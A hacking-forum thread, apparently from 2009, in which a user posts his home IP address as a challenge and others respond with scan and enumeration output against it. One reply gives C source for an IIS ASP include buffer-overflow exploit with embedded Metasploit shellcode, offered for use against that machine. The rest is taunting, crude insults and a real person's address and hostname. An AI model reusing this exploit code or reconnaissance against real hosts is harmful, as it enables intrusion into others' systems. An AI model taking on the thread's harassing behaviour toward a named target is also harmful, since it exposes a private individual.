A challenge to all of you "hackers"

70.245.12.147

 

I will ping you furiously.

 

(19:46:58) <+mu-b> (19:45:54) <thorne_bro> http://sythe.org/showthread.php?t=665542
(19:46:59) <Darren> RAAAAAAAAAAAAAGE
(19:46:59) <+mu-b> show the paypal
(19:47:01) <+mu-b> with $50
(19:47:01) <Darren> SOmEBODY POST THAT IN
(19:47:04) <Darren> DO IT
(19:47:05) <Darren> ImmEDIATELY
(19:47:05) *thorne_bro* I dun has
(19:47:06) *thorne_bro* but
(19:47:07) <Darren> THX
(19:47:10) *thorne_bro* do it for the lulz

Get the $50 and ok.

 

I'm waiting.

 

This ^

 

Hacked.

 

You gave them the wrong IP. Pussy.

 

Resolving 70.245.12.147...
70.245.12.147 (ppp-70-245-12-147.dsl.ltrkar.swbell.net)



HEAD request "/" to 70.245.12.147 (70.245.12.147)


Total bytes read: 0

GET request "/" to 70.245.12.147 (70.245.12.147)


Total bytes read: 0

HTTPS GET request "/" to 70.245.12.147 port 80 (70.245.12.147)

Request timed out.

Trying Whois lookup...
Doing whois 70.245.12.147 @ whois.networksolutions.com...

NOTICE AND TERMS OF USE: You are not authorized to access or query our WHOIS
database through the use of high-volume, automated, electronic processes. The
Data in Network Solutions' WHOIS database is provided by Network Solutions for information
purposes only, and to assist persons in obtaining information about or related
to a domain name registration record. Network Solutions does not guarantee its accuracy.
By submitting a WHOIS query, you agree to abide by the following terms of use:
You agree that you may use this Data only for lawful purposes and that under no
circumstances will you use this Data to: (1) allow, enable, or otherwise support
the transmission of mass unsolicited, commercial advertising or solicitations
via e-mail, telephone, or facsimile; or (2) enable high volume, automated,
electronic processes that apply to Network Solutions (or its computer systems). The
compilation, repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of Network Solutions. You agree not to use
high-volume, automated, electronic processes to access or query the WHOIS
database. Network Solutions reserves the right to terminate your access to the WHOIS
database in its sole discretion, including without limitation, for excessive
querying of the WHOIS database or for failure to otherwise abide by this policy.
Network Solutions reserves the right to modify these terms at any time.

Get a FREE domain name registration, transfer, or renewal with any annual hosting package.

http://www.networksolutions.com

No match for "70.245.12.147".

Done

Trying ARIN lookup...
AT&T Internet Services SBCIS-SIS80 (NET-70-240-0-0-1)
70.240.0.0 - 70.255.255.255
PPPoX Pool - Rback6 LTRKAR 042504-2035.595430 SBC07024501200023050223191541 (NET-70-245-12-0-1)
70.245.12.0 - 70.245.13.255

# ARIN WHOIS database, last updated 2009-08-01 20:00
# Enter ? for additional hints on searching ARIN's WHOIS database.

Done

NetBIOS information on 70.245.12.147


Attempting a NULL session connection on 70.245.12.147


MAC addresses on 70.245.12.147


Workstation/server type on 70.245.12.147


Users on 70.245.12.147


Groups on 70.245.12.147


RPC endpoints on 70.245.12.147


Password and account policies on 70.245.12.147


Shares on 70.245.12.147


Domains on 70.245.12.147


Remote time of day on 70.245.12.147


Logon sessions on 70.245.12.147


Drives on 70.245.12.147


Trusted Domains on 70.245.12.147


Remote services on 70.245.12.147


Remote registry items on 70.245.12.147

Done

The IP list contains 1 entries
Service TCP ports: 179
Service UDP ports: 88
Packet delay: 10
Discovery passes: 1
ICMP pinging for host discovery: Yes
Host discovery ICMP timeout: 2000
TCP banner grabbing timeout: 8000
UDP banner grabbing timeout: 8000
Service scan passes: 1
Hostname resolving passes: 1
Full connect TCP scanning for service scanning: No
Service scanning TCP timeout: 4000
Service scanning UDP timeout: 2000
TCP source port: 0
UDP source port: 0
Enable hostname lookup: Yes
Enable banner grabbing: Yes

Scan started: 08/02/09 01:06:26

-------- Scan of 1 hosts started --------
Scanning 1 machines with 1 remaining.
-------- Host discovery pass 1 of 1 --------
Host discovery ICMP (Echo) scan (1 hosts)...
1 new machines discovered with ICMP (Echo)
TCP service scan (SYN) pass 1 of 1 (1 hosts x 179 ports)...
UDP service scan determining ICMP unreachable hosts pass 1 of 1 (1 hosts)...
UDP service scan pass 1 of 1 (1 hosts x 88 ports)...
Performing hostname resolution...
Performing banner grabs...
TCP banner grabbing (0 ports)
UDP banner grabbing (49 ports)
Reporting scan results...
-------- Scan done --------

Discovery scan finished: 08/02/09 01:06:44

Live hosts this batch: 1

70.245.12.147
Hostname: ppp-70-245-12-147.dsl.ltrkar.swbell.net
UDP ports (49) 7,9,11,69,123,137,161,191,192,445,514,520,1025,1028,1030,1035,1037,1645,1812,1813,1900,2140,2161,2301,2493,2967,3456,4045,4296,4802,5631,5632,31337,32768,32773,32774,32775,32776,32777,32778,32780,32782,32785,32786,32787,32788,32789,32790,43981

______________________________________________

Total live hosts discovered 1
Total open TCP ports 0
Total open UDP ports 49


Report - 08/02/09 01:06:26
IP 70.245.12.147
Hostname ppp-70-245-12-147.dsl.ltrkar.swbell.net
UDP Ports (49)
7 Echo
9 Discard
11 Active Users
69 Trivial File Transfer
123 Network Time Protocol
137 NETBIOS Name Service
161 SNMP
191 Prospero Directory Service
192 OSU Network Monitoring System
445 Microsoft-DS
514 BSD syslogd
520 Routing Information Protocol
1025 network blackjack
1028 [Unknown]
1030 BBN IAD
1035 [Unknown]
1037 [Unknown]
1645 datametrics
1812 RADIUS
1813 RADIUS Accounting
1900 UPnP SSDP
2140 IAS-REG / Deep Throat (Windows Trojan) / Deep Throat 2 (Windows Trojan)
2161 [Unknown]
2301 Compaq HTTP
2493 Talarian MQS
2967 SSC-AGENT / Norton Antivirus
3456 Microsoft IIS Server / VAT default data
4045 NFS lock daemon/manager
4296 [Unknown]
4802 Icona License System Server
5631 pcANYWHEREdata
5632 pcANYWHEREstat
31337 Back Orifice (Windows Trojan)
32768 Filenet TMS
32773 [Unknown]
32774 [Unknown]
32775 [Unknown]
32776 [Unknown]
32777 [Unknown]
32778 [Unknown]
32780 RPC
32782 [Unknown]
32785 [Unknown]
32786 [Unknown]
32787 [Unknown]
32788 [Unknown]
32789 [Unknown]
32790 [Unknown]
43981 Netware IP




Hypothetically, if the Microsoft IIS server was web enabled and wasn't password protected you could save the following code to the web directory as a .asp file and then viewing the page from a web browser would run the shell code which would crash the machine.

Code:

//include asp filename length=10ch>104h
unsigned char asp_include_header[]=
"<!--#include file=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp\"-->";

//jmp 8
unsigned char code_jmp8[]=
"\xEB\x06\x90\x90";

//jmp ebx address
unsigned char addr_jmp_ebx[]=
"\x66\x4A\xE6\x77";

// shellcode !! Must be free of Unicode null terminators (0x0000) !!
// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
unsigned char shellcode[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x46\x42\x30\x5a";



void main(void)
{
FILE *fp=NULL;
int i;

printf("[+] Creating file...exploit.asp\n");


if ((fp=fopen("exploit2000.asp","wb"))==NULL)
{
printf("fopen error!\n");
return;
}


fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp);

//fill
for (i=0;i<0x135;i++)
{
fwrite("\x41",1,1,fp);
}

fwrite(code_jmp8,4,1,fp);

fwrite(addr_jmp_ebx,4,1,fp);

fwrite(shellcode,sizeof(shellcode)-1,1,fp);

//fill
for (i=0;i<0x1500;i++)
{
fwrite("\x41",1,1,fp);
}

fclose(fp);


printf("[+] Exploit file has been successfully built.\n");

}

The machine does look pretty secure though, the TCP banner didn't grab any ports only the UDP.

 

What is this thread about?
And what are yall doing lol?

 

Fucking gibberish.

 

Doesn't look like a static. Gtfo.

 

Dude I was liek in ur pc hackin ur stoof and I saw u had lots of folderz marked "private - gay porn" lolwut.